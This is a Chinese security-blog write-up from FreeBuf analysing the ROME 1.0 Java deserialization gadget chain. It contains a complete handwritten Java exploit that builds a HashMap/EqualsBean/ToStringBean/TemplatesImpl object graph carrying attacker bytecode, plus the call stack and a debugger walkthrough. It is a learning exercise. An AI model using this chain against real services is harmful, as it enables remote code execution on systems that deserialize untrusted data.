freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

ROME链试探
明明白白我的心 2023-05-10 15:42:14 99380
所属地 四川省

ROME 简介

ROME 是用于 RSS 和 Atom 订阅的 Java 框架。 并根据 Apache 2.0 许可证开源。

ROME 包括一组用于各种形式的联合供稿的解析器和生成器,以及用于从一种格式转换为另一种格式的转换器。 解析器可以为您提供特定于您要使用的格式的 Java 对象,或者为您提供通用的规范化 SyndFeed 类,该类使您可以处理数据而不必担心传入或传出的提要类型。

可以利用的类:ToStringBeanEqualsBeanObjectBean

环境搭建

pom.xml

<dependency>
    <groupId>rome</groupId>
    <artifactId>rome</artifactId>
    <version>1.0</version>
</dependency>

手写EXP

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;

public class Test {
    public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
        Class clazz = object.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object, value);
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ROME.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void main(String[] args) throws Exception {
        //TemplatesImpl类
        byte[] code = Files.readAllBytes(Paths.get("E:\\JAVA\\ROME\\target\\classes\\Exp.class"));
        TemplatesImpl templates = new TemplatesImpl();
        TemplatesImpl templates1 = new TemplatesImpl();
        setFieldValue(templates, "_name", "aaa");
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        //ToStringBean类
        ToStringBean toStringBean = new ToStringBean(templates.getClass(),templates1);
        //EqualsBean类
        EqualsBean equalsBean = new EqualsBean(toStringBean.getClass(), toStringBean);
        //HashMap类
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(equalsBean, "aaa");
        setFieldValue(toStringBean,"_beanClass",Templates.class);
        setFieldValue(toStringBean, "_obj", templates);
        serialize(hashMap);
        unserialize("ROME.bin");
    }
}

调用栈

getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
toString:137, ToStringBean (com.sun.syndication.feed.impl)
toString:116, ToStringBean (com.sun.syndication.feed.impl)
beanHashCode:193, EqualsBean (com.sun.syndication.feed.impl)
hashCode:176, EqualsBean (com.sun.syndication.feed.impl)
hash:338, HashMap (java.util)
readObject:1397, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
unserialize:31, Test2
main:52, Test2

漏洞分析

在反序列化的入口打个断点。

image

跟进到了HashMap下的readObject,我们知道HashMap会调用任意我们传入对象(把对象赋值给key)的hashcode方法。

image

image

所以可以跟进到EqualsBeanHashCode方法,而且方法体内部又会调用beanHashcode方法。

image

跟进beanHashcode方法,其内部会调用_obj对象的toString方法。

image

而我们是给_obj赋值的是toStringBean,所以会进入到ToStringBean类下的toString方法,而且是先触发public,然后触发private

image

image

这里就到了最关键的一步,这里的代码逻辑是,可以获取_beanClass对象的所有的gettersetter方法,并且在满足if的代码逻辑之后,这里的 pReadMethod.invoke()就类似于在反射中看的 method.invoke()一样,所以可以执行templates对象的getOutputProperties方法。

最后调用到TemplatesImpl类下的getOutputProperties,实现恶意代码的触发。

image

注意点(手写EXP时)

setFieldValue(toStringBean,"_beanClass",templates.getClass());
setFieldValue(toStringBean, "_obj", templates);

为避免在hashmap.put的时候触发调用链,我们要先传入正常数据,然后再反射修改,但是在反射修改的时候有可能师傅们会遇到我这样的一个问题。就是在执行了这个方法之后,不再执行我们想执行的getOutputProperties方法了。

image
image

image
我也没弄清楚为什么为会这样(希望师傅们指导),但是还是找到了一个解决问题的方法。把上面的反射代码改为下面这个就可以了。

setFieldValue(toStringBean,"_beanClass",Template.class);
setFieldValue(toStringBean, "_obj", templates);

到时候它只会遍历Templates接口类,其下只有一个getter方法,而且正好是getOutputProperties方法。

image

总结

感觉在学完CC链之后看这些还是挺容易的,就是在手写EXP的时候还是会遇到各种各样的异常。是一名刚入门java安全的小白,感谢师傅们的指导。

# 网络安全 # web安全 # 漏洞分析
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 明明白白我的心 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
明明白白我的心 LV.3
这家伙太懒了,还未填写个人描述!
  • 6 文章数
  • 0 关注者
SnakeYaml序列化与反序列化
2023-07-06
Xstream历史漏洞复现
2023-07-05
log4j2利用分析与修复
2023-05-15